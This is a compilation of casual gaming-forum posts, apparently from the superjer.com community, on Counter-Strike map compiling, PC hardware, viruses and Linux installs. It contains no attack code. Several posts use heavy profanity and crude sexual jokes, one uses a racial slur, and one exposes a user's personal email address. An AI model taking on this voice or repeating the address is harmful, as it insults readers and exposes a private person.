* memory fragmentation (defrag your hard drive);
* heap corruption (reboot and try again. If you have old RAM, make sure it is seated well. check for viruses!).
* on at least one occasion this was caused by a corrupt prefab.
* on at least one occasion this was solved by removing a skybox and so making the level smaller.

Does that mean my computer is to slow? lol... yeah i know my computer is slow! 400$ labtop

In Desktop Game by CornJer:
As soon as I get back on my own computer, I'll post a picture of my super awesome KDE desktop.

In cant find cstrike.wad by nicaw:
in wich map should cstrike.wad be in? it isnt in cstrike or any other map ive searched through the hole computer.

doesnt seem like i have any, how could i get 1 btw i have real steam not e.x pacsteam

In *.COMIC #12 "Voltage" by SuperJer:
Havokk Edge said:
o_o I'm sorry but I don't get it.


I know. It's deep. There are multiple layers of jokes. Boduncan is apparently on the "phone", but you soon see he is holding the cat up to his head for no reason. Then he's trying to change the voltage on his RAM... in a shop-vac. And then he asks "How sure are you?" like there's still a chance it's a computer or something with RAM.

</painful explanation of joke>

Got it now?

In If you like to play CS by begginer:
This truck would be more suited for computer games part of the forum ...

anyway its not the best video i saw about cs ... the music is stolen from another vid ...

In omg what happend.. by Down Rodeo:
I have had one occasion where a music file just got deleted from my computer. I assume you're on XP. Make sure that you haven't saved it in a funny place. Also try using the search function on your C: drive. (Takes ages.)

In Planarity by SolidKAYOS:
Level:1000000

Efects: Adobe Flash Player will start to run slowly.Firefox(or other browser)Will overheat and your computer will stop for a few minutes as you end the task to your browser.

True no joke I tried.

In Help please:) by eDan Co.:
There is a button (I forget it's name, and VHE isn't installed on my school computer) on the left toolbar in Hammer... You can set the texture direction and all that shit.

In Tank Making by duecebigallo:
the explosion part i know, make an entity(env_explosion) make the radius what ever you want normal is 100 dont do any thing more than 600 cus when i did that it crashed my computer. After you made the entity name it take what ever you want i recommend Explosion_1. next make a button for the explosion to trigger, give it a texture for button, doesnt have to be but i prefer that, now tie the block you just made to an entity by pressing ctrl t on the drop down menu select func_button. this is makes you button work. for name put explosion_button_1 and for target put Explosion_1. and there you go, o and 1 more thing if you want the tank to shoot unlimited go to your env_explosion and in flags select the option repeatable

In Making a website =) by Down Rodeo:
Well PHP isn't a program. It's more a... language for writing things that... tell you what, have a look at the PHP website. And if you had a good enough computer you could run it all from there. It requires good upload speeds though, and the computer would have to do that and nothing else internet related really. But this is where my knowledge begins to run out.

In Halo 3 by jrkookid:
my ass is incinerated plz stop making me flame my ass with a flame thrower so that you can laugh at me for burning hot diarrea coming out of my little armored *******-*** from the *******-************* cyborg that ****** a little ******* computer ***** that got ***** by a wicked ******* *****-***

srry i just got carried away

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xXJigsaw23Xx said:
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is any body there really?
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Oh god! The Duke is here! I have to go to the throne room to see him off!
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lol
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Meh?
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Confused...
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xXJigsaw23Xx said:
Cartman off the comercial where it says words of south park
21:06:53 EDT
xXJigsaw23Xx said:
am i right
21:08:02 EDT
Down Rodeo said:
Dunno. I've like never watched South Park.
21:08:31 EDT
xXJigsaw23Xx said:
well cartman does that k there now u know
21:11:25 EDT
xXJigsaw23Xx said:
im bored again
21:11:31 EDT
Down Rodeo said:
Ah well... bedtime now. I have to be up in less than 7 hours... which isn't so bad but I haven't had enough sleep for a few days. So time to go ;) see you
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bye
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xXJigsaw23Xx said:
well now what
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xXJigsaw23Xx said:
u guys are boring
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I hat u
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xXJigsaw23Xx said:
i hat u to
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In by melloyellow582:
ok, now its time to paste whatever you have in your clipboard into a post here. NO CHANGING IT.

i have nothing, i just started my computer up.

In by SolidKAYOS:
Well im not posting anything on the site.He didn't say via email.

and the only thing better than this truck in the Computer and Video games Hall is this one

http://www.superjer.com/forum/why_the_does_no_one_use_this_forum.php

In cool maps/inspirations by Pe$T_C0nTr0L:
what if you make a map that is in a very big internet-cafe ?
and you can push a button on the computers that teleports you to a nother place :D

and there would be a computer that has porn on it and if you stay there for more than 4 secs then you get half of your hp down


In Freakin A! by CornJer:
All hail superjer the great! He who shapes our minds and computer knowlege

Hail Xen- I mean SUPERJER

In Cash Register? by The_sloth:
jacksmoke234 said:
I can make one for source.. I just need to get my hands on the one for 1.6 and see how well I can make it.
Thats would be cooL!!
Cuz i cant play 1,6 To good Computer


In SuperJer, HALP! by Down Rodeo:
Sounds like a nice computer. Are these the latest drivers? You could try installing an older set to see if the new ones have broken it (though I don't reckon that's likely).

http://pressf1.pcworld.co.nz/showthread.php?t=53947

Could be an helpful link; seems the guy had a similar setup to you (but a wee while ago now). They suggest reinstalling the nVidia drivers but I didn't read past the first page (lazy me; also I have a tutorial soon).

In Mouse won't select. by Djuice27:
Your going to get a graphics card just to make maps? Why not just use an older computer

P.S I like to have the lastest hardware, but i rarley do

In My 300th Post by SolidKAYOS:
I just checked a post and papa answered some computer question for zim. The only fucking thing i know of on a computer is the hard drive...You know i can't do shit like that.and I'm no that much of an ass...

In SuperJer, HALP! by melloyellow582:
Havokk Edge said:
What was the point in the other post?

Anyways..it sounds like you fucked up...Your needing a new computer...

I'm kidding! I don't know what the hell your saying so...



ok havokk im really sorry for bringing this up yet AGAIN, but when someone legitimately asks for help, PLEAASSSEEEEEE dont respond with a "i dunno ask someone else" type response.

In SuperJer, HALP! by SolidKAYOS:
What was the point in the other post?

Anyways..it sounds like you fucked up...Your needing a new computer...

I'm kidding! I don't know what the hell your saying so...

In compiling error! Need Help by Down Rodeo:
Nah, the funny errors are the ones that happen whenever your computer attempts to go into sleep or hibernate and fails dreadfully, dying quite horribly and spewing up loads of error messages on a black screen. Yes I am familiar with this particular bug

In Help with box by Down Rodeo:
He can't because he doesn't know your steam username, i.e. the name that you use to log onto steam when it starts. All your game files are located in this directory, see, so you need to tell your computer where to find them (for example mine would (maybe) be like "C:\Program Files\Steam\Steamapps\Down Rodeo\cstrike\maps")

In compiling error! Need Help by SolidKAYOS:
This is not going to help.But i just want to say so don't get mad!

Damn.....thats a big error..no not big....Humangus....I'd be scared shit less if my computer said that...

In I have no name :( by awhippo:
i reinstalled windows on my computer and my old hammer had sofus and alot of other stuff when you click the red arrow now its not there if you know what am takeing about can you pls tell me the file name or a link where to get it

In Terrorists are spawning in wrong direction... by eDan Co.:
That's because you're clicking in the 3D view. Well, you have to click one of the three views... In properties, there is a circle (top right). The direction of the white line will be your spawn heading.

ALTHOUGH this never worked on my computer, so this should work
in theory.

In help me pls by begginer:
why do you guys keep posting hammer questions in computer section ?????

when there is a nice little valve hammer editor section that is dedicated to your questions

In Free CS 1.6 Server? by armen115:
Well I only have one computer, and I leave it on most of the time and its my home one. So how can I do this?

In Free CS 1.6 Server? by CornJer:
You could just set one up on a home computer, maybe one that you just leave on all the time.

In how to make a bombsite? by SolidKAYOS:
I knew you guys was computer nerds, but English nerds too?

In how to make a bombsite? by dilla:
how do i define where i want my bomb site? is it the same as making spawn points? whats the thing i gotaa put in for the computer to know im putting a \bombplace?

thanks guys!

In source SDK by Down Rodeo:
OK, here are a few things:

You could try particpating in the current beta that is running for the new (shinier? I dunno) SDK that will be out sometime. Post if you don't know how.

Also, do you have any of the Orange box games installed? If not that could be causing problems. If that is the case try adding the the launch option -engine ep1, this might help. Maybe.

And finally it could just be that it doesn't like your computer. It seems to run OK on my laptop but given the massive number of different hardware configurations it might be something as simple (and as difficult to fx) as that. Try posting on the SDK forums, there's a link from http://developer.valvesoftware.com/

Also, SJ, you're back! And here was me considering forging a post by you by abusing the quote system... :D

In textures by SuperJer:
Personally I like to keep .wads in my compile directory.

If they are in cstrike it is possible to make maps that only work on your computer (unless you send people the .wads along with your map, and they install them correctly).

In textures by eDan Co.:
You can keep your wads anywhere, although I recommend you extract them to your cstrike directory.

To load wads.. tutorial page 2. I'm sorry I can't explain what you need to do, I just don't have Hammer on the computer I'm using now!

In Art! Its got ELECTROLYTES. by begginer:
sweet i love the field with the tanks , the island very nice , squid-man as molkman said looks strange but still kickass , the last one kinda simple, you could do better ^_^ ( i don't really do computer based art i like to use the pencil lot better then the mouse ^_- )

EDIT: the first one "director guy " reminds me of that evil dude Yuri from red alert , and yuri's revenge

In - Ech0 - |sephiroth041| RCO BETA by aaronjer:
For the love of god and all that is holy!

PLEASE post a general overview of what you are planning for the game before making update posts! We don't know what the update is applying to so we have no idea what it does!

You know, like the kind of thing you see on the back of computer game box? Here's an example:

Side-scrolling platformer.
Real-time combat.
2D graphics.
RPG-style leveling system.
Single and multiplayer modes.


See? That was really short! It took my fingers like 10 seconds to write it! The ONLY meaningful information you've given so far was in the update about character sprites. The update itself meant nothing, because we have no context to put it in... but at least we can ASSUME the game is 2D. (although there is still no way to be sure as you could be referring to character portraits or something.)

In *GAME UPDATES* + *GAME FEATURE SUGGESTIONS* by jrkookid:
you guys are really pissing me off especially you cornjer with your insults

you guys dont care you guys are jerks!!!!

if you jerks dont wanna be part in this new game im makng then dont post in this firetruck EVER AGAIN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

and who ever is interested in the game say that you are





P.S. i am hosting a real rory's cloud firetruck in the computer and video games section

P.S.S. dont spam my new firetruck

In Lost Files. by awhippo:
hmmm well you can go to start and find your search it will have a miginifine glass next to it. and search the file name in it and if its on your computer it will find it

In Lost Files. by armen115:
Hello, One day I encountered a computer problem and had to get my comp fixed by a guy. He took it to his shop and supposedly "backed up my files", fixed it and sent it back. I went through My Documents (where ZHLT was berfore) and there was only my music, my pictures, and my recieved files. Now I cannot find ZHLT, so I dont have my map that ive been working on for a long time. Is this map possibly somewhere else?

btw, I went through my program files, and most of the other stuff like GCFScape and Hammer were there.

Thanks

In Map making. by begginer:
the location is explained pretty good
and it says UNCHECK "hide file extensions " so they aren't hidden .



Don't see file extensions on your computer?

You need to disable extension hiding in Windows.

All you have to do is click Tools -> Folder Options on the menu bar of an open folder. Then click the View tab on the window that pops up.


http://www.superjer.com/fileext.php <- its right there in the tutorial

In A few questions by Down Rodeo:
It's basically saying your computer is dying a low-memory death. This is generally because Windows eats up most of your "swapfile" (an area of memory where programs are kept (kinda) when they are not in RAM). If you know your way around windows, and know how to fiddle with its important settings without blowing it up (computer explosion is number one cause of death around technofools) then you could try to alter its size. I wouldn't recommend that though.

If you add the -chop command to the bat file then that should make things a bit easier. Try -chop 128 (this might work but equivalently I might have got the up-and-down scaling wrong. I think the default is 64 though.)

In CS:S Help Plz! by armen115:
Ok well I can the rest of my comp can meet the requirements, except the video card.

CS:S Preffered Specs:
2.4 GHz Processor
512MB RAM
DirectX 9 capable graphics card
Windows 2000/XP/ME/98
Mouse
Keyboard
Internet Connection

I have:
2.66GHz processor
512MB RAM
DirectX 9 capable graphics card
Windows 2000/XP/ME/98
Mouse
Keyboard
Internet Connection

and also an Intel Celeron........... But I had my computer repaired and the guy said I dont have a video card slot or something. Thanks

In LOST IN Valve Hammer by randomhero:
i am on a vista computer
i did all the steps pretty good i think.
until i got to step 6 and 7
i got kinda lost
i exported files in zhlt to the file it said
but they didnt say .exe or .text at the end
only one said .wad at the end
also.
i need help on the read me .
do we do both no steam and steam. or just one
ALSO how do i run it.
i tried through valve hammer and a little window popped up i said okay then another window popped up and it said compile process window and some other stuff
so i am so effing lost. i really need help. i have the whole map building down.(kinda, but ill problay need help with building better after i figure out how to make it a map) SO PLEASE help me
reply or email at adrian.golosky@hotmail.com

here is what i put in read me.
read over please and tell me if it correct

@echo off
hlcsg -nowadtextures lamefirsttrymap
hlbsp lamefirsttrymap
hlvis lamefirsttrymap
hlrad lamefirsttrymap
copy lamefirsttrymap.bsp "C:\half-life\cstrike\maps"
cd C:\half-life
pause
hl -dev -console -game cstrike +sv_cheats 1 +map lamefirsttrymap

@echo off
hlcsg -nowadtextures lamefirsttrymap
hlbsp lamefirsttrymap
hlvis lamefirsttrymap
hlrad lamefirsttrymap
copy lamefirsttrymap.bsp "C:\programfiles\Steam\SteamApps\adriangolosky\counter-strike\cstrike\maps"
pause
"C:\programfiles\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +map lamefirsttrymap

In Need help CS 1.6 by eDan Co.:
In the BAT file, you probably forgot to replace the word mapname with you map's name. Mapname appears 6 times in the bat. Count and make sure you didn't miss anyting!

AND... This post should go in Hammer Mapping catagory, not Computer and Video Games.

In My friends vista cpu by Spraymoreplease:
system restore did not work.
and yeah on his computer.

In Found a cool game.... by Down Rodeo:
aaronjer said:
Also, how long is it taking them to build ONE computer to need to bring it to school? That hardware stuff never takes me over an hour... do they just suck at it, or what?


Maybe they're still getting the parts. Like me, I'm building myself one, I just need:
a keyboard
a mouse
a PSU
a CPU
a mobo
ram
a graphics card
a sound card
a fan
a box to put it all in
and so on...

they will be bought this summer when I bump up my hours again.

In Found a cool game.... by aaronjer:
Hey. Both SoopyJams and I wear flashdrives around our necks. We got them from our mom. You can go to hell.

Also, how long is it taking them to build ONE computer to need to bring it to school? That hardware stuff never takes me over an hour... do they just suck at it, or what?

In Found a cool game.... by Down Rodeo:
Java Sucks.

Yes, Python is interpreted but it's pretty fast for all that. If speed was really an issue supposedly Lua is the fastest around. You probably wouldn't need assembler, though it can be used in Garry's Mod I think (random aside).

EDIT: learn the languages on this page. There's one that can crash your computer in approx. 5 characters.

In Found a cool game.... by adhesive:
One thing that I've learned from school about people like that is that they are pseudo-nerds. Most people are usually able to do computer related stuff better than them without looking gay all the time.

In Found a cool game.... by SolidKAYOS:
I'll be learning java next school year hopefully....

oh and my friend is a Fucking super computer geek....He wears a flash drive around his neck all day....and him and his other geek buddy is making a laptop or a desktop....and selling it!..Did i mention hes making it at SCHOOL?

In Age of empires by melloyellow582:
PLEASE stop posting pointless bulletins. also, this should go in the computer/video games section.

In Found a cool game.... by SolidKAYOS:
I know how to make my own msgboxes and shutdown my computer by clicking a shortcut!Totally Harmless of course

In Found a cool game.... by CornJer:
Well, if you knew some machine code and had all the ascii binary values memorized, then techically you could create an executeable, by typing the words manually into notepad in ascii format (Cause 1 ascii character = 1 byte). I'm not entirely sure how long X86 machine code is in bytes, so you might have to do some binary aritmatic.
Also, you need the character map out, to place binary values of text as well. IE: 96 = 'z' = 00110010 in binary. The null character, which might be something in machine code (although machine code is chinese to me), would not have a displayable character, but might be a box kinda thing in notepad, like: 0 = '[]" = 00000000 in binary. Except the brackets would look like one character.

It would be really fucking hard to do, but possible, with a degree in computer science? Yes.

In Havokks Valentine special by CornJer:
Hamburger.


But no pron pleaz. I sometimes post from my school, so having my computer graphics teacher see that would probably not qualify as being on task.

In Found a cool game.... by CornJer:
I wrote a virus.

Well not really. Its just this crazy thing that makes your computer beep and spews satanic messages. And thats it, Nothing destructive. Although sometimes it unintentionally crashes computers, but thats cause of my shitty programming.

In Havokks Valentine special by SolidKAYOS:
Well superjer don't like porn....

I'll get a hold of anything you want at the risk of my computer!

Oh and the Micheal Jackson bit..He gave me the damn brain tumor!

In My friends vista cpu by Spraymoreplease:
A while ago I made a map through a steam account ( normally I use non steam ) His computer runs on vista and when I compiled it that was the end of steam and his cs.

I told SUPERJER about what I had done he told me it was not my fault. But still I screwed it. Now I want to know how to fix it.

My friend already tried repairing it, reinstalling it, uninstalling it. and so on.

Note: we tried complaining to steam but as we all know this is pointless.

Can anyone please tell me what I or he needs to do!?!

THANKS in advance...

In Found a cool game.... by SolidKAYOS:
Found it at WAL MART! im kidding.I didn't really find it....I just got it on my desktop out of nowhere.Its great like hell..

Funny thing is its call 'Hells game' You got to do hell to get out of it.Pretty neat.your computer gets bitchy if ya play it sometimes...it has no link yet so i have to send it via email (shut up superjer) If ya would like ill send it....


Before taking it i STRONGLY advise not having anything important running such as a download...

In I have a virus... by zxcgames:
AVG free edition so lame, i scaned new mario version in jotti virus scan about 20anti viruses and nothing detected. my friend requested to give him this game. he had avg. copyng from disc to computer and VIRUS DETECTED :DDDDDD Use only not avg this is lame anti virrus in world!!

In Havokks Funny man contest by Down Rodeo:
18 hours? I went through them all in like half an hour max, maybe. Might have been longer; time flies when I sit and do nothing at a computer :D.

In So I installed linux too... by melloyellow582:
i remember that. I wish ubuntu would have worked out on this computer, but XP demanded attention. i had to go through lots of steps to get it to boot in ubuntu for some dumb reason. next time...

In help pls by awhippo:
no i dont have no virises my computer its proble just to cheep its a 200$ computer from walmart

In help pls by SuperJer:
You might want to check for viruses, spyware or other misbehaving programs on your computer. Something is very wrong.

In I have a virus... by SuperJer:
Every anti-virus program I've seen is about the equivalent of three viruses.

1AV = 3 viruses
2AV = 6 viruses
3AV = dead computer

In I have a virus... by SRAW:
I havent posted for a while cause i have a virus, and now im using ma old computer with only 56k modem and so i wont be logging in for a while... so by for maybe a month?

In Ah I HAVE A HUGEPROBLEM... by Spraymoreplease:
another note I have his steam and counterstrike installed on my computer ( with steam ) should I copy my steam folder from progrma files and put it on a cd and give it to him?

In Ah I HAVE A HUGEPROBLEM... by Spraymoreplease:
Ah I HAVE A HUGE PROBLEM... Like the title says.

Normally I make maps everyday on my NON steam CS.
Yesterday I came over my friends house and I tried to make a map for him.
Keep in mind : His computer is an HP ( laptop ). It is running windows Vista. Specs :
dual core processor 3.2 Ghz, and I believe 1 Gig of ram.

Well anyway I made a map. ( how he wanted it ) and normally when I compile maps I do it through the non-steam. This time the path I believe was the following : programs files --> STEAM --> STEAMAPPS --> his name --> Counter-srike --> Cstrike --> Maps .

==================================================================

With Steam

@echo off
hlcsg -nowadtextures mapname
hlbsp mapname
hlvis mapname
hlrad mapname
copy mapname.bsp "C:\Steam\SteamApps\EMAIL\counter-strike\cstrike\maps"
pause
"C:\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +map mapname

==================================================================

Well around the :

pause
"C:\Steam\Steam.exe''

I only replaced the : [C:\steam]not the: \Steam.exe]

Now when we tried running Steam it updates but then disappears.
We tried to reinstall and repair it nothing works, now it give some kind of error like ''this feature cannot be accesed''.

==================================================================

Did I screw his computer?

In So I installed linux... by CornJer:
@Rodeo

What happened was that I tried a thousand different ways to change the partitioning of my NTFS C:/ drive that came with the prebuild gateway, on windows itself, so that I could install linux, but instead I ended up grabbing this loose drive I had revolving around and sticking it in as a slave. I made like 4 diffrent partitions of various sizes on the slave, but when I tried to partition the C:/ drive, it wanted to erase it. As we all know, we can't live WITHOUT windows (goddamn microsoft ), so that was a big no-no. As far as I can tell, there isint much way to repartition a hard drive without completely wrecking it first, although I have seen some software that allows you to dynamically partition hard drives, but A) I'm not sure that it'll keep the information, and B) it costs moneys. Plus I think you need to format your hard drive to install it ANYWAY, which kind of defeats the purpose.

@Soop
But your my hero superjer...

Anyway, probablly should have gone there in the first place, but since this is like my main forum (no joke), yeah. Ethernet IS a posibility, its just a total pain in the ass due to it (the computer) being way back in an almost completely inaccessible corner of my basement. Anyway, I'll try burning it to a CD, but I'm not entirely sure that all it needs is the drivers. Is there some kind of commands I can enter to find out the type of x implementation I have? (IE: What version of GNOME/XFCE/whatever?)

In So I installed linux... by melloyellow582:
yeah, im gonna leave getting linux to when i get a new computer.

In So I installed linux... by CornJer:
...And even though that the .ISO file has the word "Xfce" in it, it boots up into the bash shell then is all like FAIL. It tells me that X can't start cause "no screens detected" or something. I didn't install any drivers or anything, so it might be that I don't have the drivers for my Nvidia 8500 video card working.
This is Debian Linux btw. Now, I don't have a clue how to use bash, and the online doesn't work because my desktop uses a wireless card and linux didn't like it for some reason.
So my question would be: How do I get the interface setup on the machine? What commands would I have to put into bash to run it? Would I have to burn debian packages to a CD then load them onto the computer? What would the commands be to do that?

In help by SolidKAYOS:
Im not a nerd and i can tell you that.And i phone..well maybe Its not really a phone more like a portable my space computer

In Plane With No Normal by Down Rodeo:
The solution lies in destroying your uncooperative computer. I have many memories of a 6-year-old Dell chugging away... fruitlessly.
I suppose if you were only wanting a look at the map geometry etc rather than the specific textures applied you could replace all the textures with like the defaults...

In Surf map help. by armen115:
yea, I tried compiling my map and it took a long time, made my computer verrrryyyy slow, and in the end didnt wok because it "paused" and never continued.

Should i make my map smaller?

In Party #3 wrap-up by jrkookid:
dang im missing out on the fun cuz my steam account got hacked and my computer cant handle games like that

In Surf map help. by armen115:
lol.. Well look how big of a map it is, how come its not messed? also: will it decrease lag if there a skybox instead of regular block block

Changed (sry) I mean how come its not laggy and there is so much room, or is there the same amount of room that I have but I dont realize it. anyways I think that isnt it the persons computer thats hosting it that will determine if its laggy or not

In Party #3 wrap-up by SuperJer:
Unfortunately, we had server issues at Party #3 today. My hosting company (aplus.net) had about an hour network outage, right as the party was supposed to start.

That wasn't all.

Let me explain.

I started working on the gameserver to get GunGame working at 9AM. I had 3 hours. First, Counter-Strike stopped working. Something about a corrupted metadata file. Steam Forums said this means no more Counter-Strike until you re-install Windows. So I dug up my Vista computer and continued. I had to uninstall CS Respawn because it was causing the game crash. Then adhesive joined and we were testing it out when Vista BSOD'd. So I dug up my ol' XP computer, installed CS, and kept trying. Then, at 11:50AM or so, the server facility went offline.

AAAARRRGGGGHHH!!

Anyway, it finally came back online at about 1PM and a few people showed up. It wasn't quite configured correctly but it was fun.

Here's the results:

awp_city2


de_inferno


fy_pool_day


de_verso


adhesive and Djuice27 (Krak` or whatever) each won twice and get 132 points.

Molkman gets 31 points for showing up. Was anybody else there? I don't recognize the names.

In Want pirate, mc diddy's 1,2 and some molkman games play offline? by zxcgames:
If have good computer, flash player 8 in windows... Will be perfect... ;), only training this is or want be funny watch mcdiddy's and you happy, if you travel without internet

In **NEW FORUM ONLINE** by aaronjer:
On that note, here's an out of context sentence from a random text file I just opened on my computer:

"So if you thought of appearing next to it while it was sitting on it's side and it was actually upright you'd appear up in the air or down in the ground."

I hope you enjoyed it. Tune in next time for 450 bytes of a .wav file!

In Help with Compiling Error by ArCtic:
Hey I didn't just put "BOMB HERE" I put cross hairs and also included hostage points and weapon types because we weren't sure what type of map we wanted...anyway..I also have a map problem:
how can I fix my big ass map that has a really complicated terrain...it exceeds the abilities of the compiler?

pics will come later once I hook up my other computer again

In The Jester by SolidKAYOS:
This is a experiment.

Testing our minds in stupid ways.I have full control of our computer screen.

You are not Getting a boner!

But I AM!!!



ahhhhh anyways

You shall meet a Jester.A Purple Jester.And he will bug the shit out of you for having a Bigger mouth than you.

You will shoot his big ass nose and shut him up,or make him dance...

To Rap.

This is a experiment.


Results:

Death Toll: 80,Million
Woman aroused: 4000
Men aroused: 1
Jester Death: N/A
Time to go off topic: Not even one post!
Computer Screens Blown Up: 999,999,999,999,999,999,999
(This was Done by people who couldn't turn this experiment off so they destroyed their computer.)


Thank You Mellowyellow For Inspiring this experiment.


Laughing,
Jester Havokk (Supreme)

In problem veiwing a texture by SuperJer:
That could be a computer problem OR a map problem but it's definitely not a mapname.txt problem.

In problem veiwing a texture by melloyellow582:
idk sounds like a computer problem more to me than a map problem.

In problem veiwing a texture by Spraymoreplease:
Na I didn't misspell it in fact I just did it again and nothing showed up and did not let me play the map, and the picture froze.
I could not do anything, no console, and could not go to windows. had to restart computer.

In Help with Compiling Error by SuperJer:
You either have a REALLY slow computer or a HUGE map!

What is your map like?

In **NEW FORUM ONLINE** by Down Rodeo:
Remember there was that thing with the signing out? SuperJer said that your computer sends no message when you navigate away from the site, it just logs you out after a certain period of inactivity...
So for instance when I go away from here in like 2 mins I'll probably be listed as on for 5 after that.
Also for the mellow yellow/supreme edge thing perhaps it only shows hoozonline for registered members...

In Selection in camera viewport by blastluc:
reinstalled hammer...doesn't work, reinstalled windows and tried again...still doesn't work, tried on another computer...works
it's getting confusing

In "GunGame & Find the Hole" Party by melloyellow582:
ok i VOW to be there this time.
god damn my computer.

In Edge-o-Matic News: Making a Site by SolidKAYOS:
Ive come up with some Computer geek buddy's (not the bad ones) But im ganna learn All the shit and actually make a site soon and hoping on making a forum based on new grounds and superjer.com.Any help will b great! Looking forward to being a computer nerd like everyone els.

In Find the Hole Party! by melloyellow582:
ok, i was playing by myself for a while and it was pretty awesome.

yeah, it was partly steam, and partly that i have a 10 year old computer...

In Find the Hole Party! by melloyellow582:
im pretty mad right now.
i started up steam at like 12:15...it didnt actually open untill 12:30. then, it said there was an update for steam, and that it had to restart.
it didnt restart until 12:45, and then it wouldnt open half-life, so i had to restart my computer.
i got in the game at like 12:55.
no one was there.
i was really looking forward to it too...

In The funniest joke ever by SuperJer:
EdAn said:
A physicist, biologist, and a mathematician are sitting at a cafe. They see that one person walks into the building across the road. A few minutes later, two people come out. The physicist says "We must have miscounted." the biologist says "It's easy- they reproduced." the mathematician said "if another person will enter the building, it will be empty".


And then the computer scientist says, "No, someone just forgot to initialize
house.occupants = 0;
"

In Best gaming laptop? by CornJer:
I want to get a gaming laptop for the sole reason that I have a computer the use when we LAN at my home dawg's house.

In Please help me play my new map!!!! by JaXXX:
Nearly brother!!!!!!!!!!!!!!!!! wazzzup??? We had this vietnamise tour guy and he had such a funny accent, everybody laughed and eventually all of the tourists gave him 50 bucks and a t-shirt as a gift!!!!! (our bus ride went from Laos then crossing the border to Vietnam then to Danang city after that we crossed the border to Laos and drived to a resort, overall it took us 14 hours by bus, and i can't believe i can still type on a computer!!!!!!)

In Xbox with Keyboard and Mouse by adhesive:
OBsIV a hero among men has developed the Xbox Input Machine after successfully being able to control the Xbox with the Wiimote. Unfortunately it still requires the use of a wired controller and the horrible XFPS to circumvent X360's peripheral security. It works by interpreting mouse + keyboard movements from a computer, translating it with a micro controller to ps/2, and then sending it to the XFPS.
Check it out at http://obsiv.spaces.live.com/default.aspx?wa=wsignin1.0

Heres a pic of one that I created.

Does it make Halo3 more fun? Yes.
Is Halo 3 still a flawed game even though its fun? Yes.

In *.COMIC 10 "Restaurant Seating Protocol" by CornJer:
If I ever get put in, I gotta be the creepy corn dude who talks to the characters demonicly through the computer.

In need help with ct/t spawn by jrkookid:
i wish i can make maps i cant wait til i get my own computer

In Orange Box -- Portal & HL2E2 & TF2 -- you has it? by Down Rodeo:
I has it! I'm going home at the weekend to the computer that can play it rather than on the uni laptop (this) which will break, unless running at like DX8. Even then it cries a bit. See these intel chipsets?

Good thing I got this rather than a good gaming laptop, otherwise I'd spend too much time playing... well... all five games. And Peggle

GLaDOS is genius too: "The agency regrets that this next test is impossible. You might as well give up"

In Splatter mario by adamnomak:
hi! I wanted to play splatter mario on the computer at school. But when i try to open it, it says run-time error "5": Invaild procedure call or argument. Does any one know what to do?

In Movie maker bein bitch by jrkookid:
maybe i can help but u have to give me the media file

and next time try to reboot ur computer[NOT RESTART!]

In I'm thinking of upgrading my HP by SolidKAYOS:
The wrym is the only problem iv ever had its a 2 year old computer no problems really but i don't even have this much shit on it exept music its took me just abotu an hur to just get everything back from system recovery exep all the music and pics i had. i only had 2 games on it now i have 1 .I only have about 4 desktop icons counting the recycel bin and i don't even use the windows media player

In computer brush? huh? by jacksmoke234:
Prefab. You can choose to make a premade computer.

In I'm thinking of upgrading my HP by general_zim:
I have another computer in my house, and I want....DUN DUN DUN...2 Gaming rigs.



Now, this computer I use for all my homework (who does that stuff anymore?) But, after homework, I wanna be able to play games, incase the new computer's taken up.


Now, I plan on getting TF2, so I want to make sure my computer can handle it, but I'm unsure of what my motherboard can handle, and I don't know how to check what it can. Also, I don't know what I need to get. (Power Supply? Motherboard?)


Requirments for TF2:

Pentium 4 processor (3.0GHz, or better), 1GB RAM, DirectX® 9 level Graphics Card, Windows® Vista/XP/2000, Mouse, Keyboard, Internet Connection


Now I'm thinking of upgrading to this: (I'm using birthday, so I'm keeping it cheap)

AMD Athlon 64 X2 6400+ Windsor 3.2GHz 2 x 1MB L2 Cache Socket AM2 Processor
http://www.newegg.com/Product/Product.aspx?Item=N82E16819103191

SAPPHIRE 100176L Radeon X1950PRO 256MB 256-bit GDDR3 PCI Express x16 HDCP Ready CrossFire Supported Video Card
http://www.newegg.com/Product/Product.aspx?Item=N82E16814102061


I just can't find a motherboard that might fit this, and I don't know if mine and my power supply with help. I'm also getting 2GB's of mem.

In Ive been burned by SolidKAYOS:
My computer has been burned..in other words viritized in other words a worm ive dun system recovery and i must get my files back.DAMN YOU!!!! VIRUSES!!!!!!

In pliz help if u can by wolfofwoods:
i am new and i need REAL help. i got hammer and made a map like in the guide but when i tried to put the codint in my .bat file it didnt work becausei needed to do somthing but i cant...... here the code ing try and help me
>_< plese help


With Steam
@echo off
hlcsg mapname
hlbsp mapname
hlvis mapname
hlrad mapname
copy mapname.bsp "C:\Steam\SteamApps\EMAIL\counter-strike\cstrike\maps"
pause
"C:\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +map mapname

"C:\Steam" may not be the correct location of Steam on your computer. Make sure you type the correct location on both the lines where it says that. Also replace "EMAIL" with your account name. And if you do not have a "maps" folder, create one.


wolfofwoods (a beginer map maker)

In computer fucking up by jrkookid:
just right as soon as i got on the computer today a fuken virus invaded my computer

MAN WTF IS GOING ON WITH MY COMP

In Kay. (I need a new computer.) by aaronjer:
You know... the how powerful your computer is and how spyware-free your computer is and how completely optimized your hardware and software is aren't the only factors.

There is one last very important factor: Does the software LIKE the hardware?

Software and hardware (especially drivers for video cards...) can have little faults that make some games not work correctly with certain hardware no matter what you do. For example, my computer contains lots of very fast things in it like a 8800 GTS... and Halo 2 runs like shit. Halo 2 simply does not like my 8800 GTS, and until nVidia comes out with drivers it likes there isn't a damn thing I can do about it. You may be experiencing a similar problem. Look up your hardware and see if anyone is talking about RCT3 having problems with it. Sometimes there is a fix... usually not.

In Kay. (I need a new computer.) by melloyellow582:
ok sorry to bring back an old topic but i am in need of a new computer and wanting to build one myself (I know a fair bit about this kind of stuff)

so, superjer/anyone else, do you know a good detailed tutorial online about how to build a good computer?

thanks

In WTF!!? by general_zim:
it's my effin' computer, nigg.

In STALKER: S.o.C. Review by CornJer:
Its out for PC only.

It doesn't take a billion dollar computer to run it.

In WTF!!? by CornJer:
I'm assuming your talking about fps lag, not connection lag, but either way,

Try these
-update graphics drivers
-turn graphics down
-exit out of programs running at the same time (though this doesn't seem to be an issue
-check the computer so its not overheating (not sure if this is an issue or not)
-lower the resolution of the game
-defrag hard drive
-make sure nothing else is sucking up bandwith
